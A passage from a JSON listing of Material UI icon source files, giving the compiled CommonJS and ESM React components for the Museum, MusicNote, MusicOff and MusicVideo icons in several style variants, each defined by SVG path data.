    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-4 9H6V9h12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 14 2 3 2-3v4h2v-7h-2l-2 3-2-3H8v7h2z\"\n}, \"1\")], 'MuseumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 11c.28 0 .5-.22.5-.5V9.26c0-.16-.08-.32-.21-.41L12.57 2.4c-.34-.24-.8-.24-1.15 0L2.21 8.85c-.13.09-.21.25-.21.41v1.24c0 .28.22.5.5.5H4v9H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1h-1v-9zM16 17c0 .55-.45 1-1 1s-1-.45-1-1v-3l-1.17 1.75c-.4.59-1.27.59-1.66 0L10 14v3c0 .55-.45 1-1 1s-1-.45-1-1v-4.7c0-.72.58-1.3 1.3-1.3.43 0 .84.22 1.08.58L12 14l1.61-2.42c.25-.36.65-.58 1.09-.58.72 0 1.3.58 1.3 1.3z\"\n}), 'MuseumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 11c.28 0 .5-.22.5-.5V9.26c0-.16-.08-.32-.21-.41L12.57 2.4c-.34-.24-.8-.24-1.15 0L2.21 8.85c-.13.09-.21.25-.21.41v1.24c0 .28.22.5.5.5H4v9H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1h-1v-9zM16 17c0 .55-.45 1-1 1s-1-.45-1-1v-3l-1.17 1.75c-.4.59-1.27.59-1.66 0L10 14v3c0 .55-.45 1-1 1s-1-.45-1-1v-4.7c0-.72.58-1.3 1.3-1.3.43 0 .84.22 1.08.58L12 14l1.61-2.42c.25-.36.65-.58 1.09-.58.72 0 1.3.58 1.3 1.3z\"\n}), 'MuseumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-6 7h-2v-4l-2 3-2-3v4H8v-7h2l2 3 2-3h2z\"\n}), 'MuseumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-6 7h-2v-4l-2 3-2-3v4H8v-7h2l2 3 2-3h2z\"\n}), 'MuseumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h12V9H6zm2-9h2l2 3 2-3h2v7h-2v-4l-2 3-2-3v4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-4 9H6V9h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 14 2 3 2-3v4h2v-7h-2l-2 3-2-3H8v7h2z\"\n}, \"2\")], 'MuseumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MuseumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h12V9H6zm2-9h2l2 3 2-3h2v7h-2v-4l-2 3-2-3v4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9L12 2 2 9v2h2v9H2v2h20v-2h-2v-9zm-4 9H6V9h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 14 2 3 2-3v4h2v-7h-2l-2 3-2-3H8v7h2z\"\n}, \"2\")], 'MuseumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNote.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'MusicNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNote.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'MusicNote');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 3 .01 10.55c-.59-.34-1.27-.55-2-.55C7.79 13 6 14.79 6 17s1.79 4 4.01 4S14 19.21 14 17V7h4V3zm-1.99 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'MusicNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 3 .01 10.55c-.59-.34-1.27-.55-2-.55C7.79 13 6 14.79 6 17s1.79 4 4.01 4S14 19.21 14 17V7h4V3zm-1.99 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'MusicNoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5v8.55c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2\"\n}), 'MusicNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5v8.55c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2\"\n}), 'MusicNoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'MusicNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3z\"\n}), 'MusicNoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.01\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 3 .01 10.55c-.59-.34-1.27-.55-2-.55C7.79 13 6 14.79 6 17s1.79 4 4.01 4S14 19.21 14 17V7h4V3zm-1.99 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'MusicNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicNoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.01\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 3 .01 10.55c-.59-.34-1.27-.55-2-.55C7.79 13 6 14.79 6 17s1.79 4 4.01 4S14 19.21 14 17V7h4V3zm-1.99 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'MusicNoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.27 3 3 4.27l9 9v.28c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4v-1.73L19.73 21 21 19.73zM14 7h4V3h-6v5.18l2 2z\"\n}), 'MusicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.27 3 3 4.27l9 9v.28c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4v-1.73L19.73 21 21 19.73zM14 7h4V3h-6v5.18l2 2z\"\n}), 'MusicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h4V3h-6v4.61l2 2zm-2 3.44L4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41zM10 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'MusicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h4V3h-6v4.61l2 2zm-2 3.44L4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41zM10 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'MusicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9.61V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-3c-.55 0-1 .45-1 1v3.61zM5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.29 8.3v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58l5.02 5.02c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'MusicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9.61V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-3c-.55 0-1 .45-1 1v3.61zM5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.29 8.3v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58l5.02 5.02c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'MusicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9.61V7h4V3h-6v4.61zM4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41L12 10.44z\"\n}), 'MusicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9.61V7h4V3h-6v4.61zM4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41L12 10.44z\"\n}), 'MusicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h4V3h-6v4.61l2 2zm-2 3.44L4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41zM10 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'MusicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h4V3h-6v4.61l2 2zm-2 3.44L4.41 2.86 3 4.27l9 9v.28c-.94-.54-2.1-.75-3.33-.32-1.34.48-2.37 1.67-2.61 3.07-.46 2.74 1.86 5.08 4.59 4.65 1.96-.31 3.35-2.11 3.35-4.1v-1.58L19.73 21l1.41-1.41zM10 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'MusicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.84 16.98c1.26-.17 2.16-1.33 2.16-2.6V9h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1v4.51c-.46-.35-1.02-.54-1.66-.51-1.11.07-2.09.92-2.3 2.02-.31 1.71 1.11 3.18 2.8 2.96\"\n}, \"1\")], 'MusicVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.84 16.98c1.26-.17 2.16-1.33 2.16-2.6V9h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1v4.51c-.46-.35-1.02-.54-1.66-.51-1.11.07-2.09.92-2.3 2.02-.31 1.71 1.11 3.18 2.8 2.96\"\n}, \"1\")], 'MusicVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16H3V5h18zM8 15c0-1.66 1.34-3 3-3 .35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3\"\n}), 'MusicVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MusicVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zm8-7c.35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3s1.34-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-1c1.65 0 2.98-1.33 3-2.97V8h3V6h-5v6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3\"\n}, \"1\")], 'MusicVideoTwoTone');"
  },
  {
